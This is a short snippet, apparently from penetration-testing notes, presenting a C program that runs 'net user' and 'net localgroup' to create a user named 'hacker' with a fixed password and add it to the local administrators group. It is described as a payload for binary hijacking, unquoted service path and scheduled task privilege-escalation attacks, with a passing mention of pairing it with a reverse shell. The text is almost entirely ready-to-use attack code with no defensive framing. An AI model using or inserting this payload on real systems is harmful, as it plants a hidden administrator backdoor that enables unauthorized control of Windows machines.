This script creates a user and adds them into the local administrators group. It was meant to be used with binary hijacking, unquoted service path and scheduled task attacks.
#include <stdlib.h>
int main ()
{
int i;
i = system ("net user hacker zaq1@WSX /add");
i = system ("net localgroup administrators hacker /add");
return 0;
}You can also run it with a Windows reverse shell C binary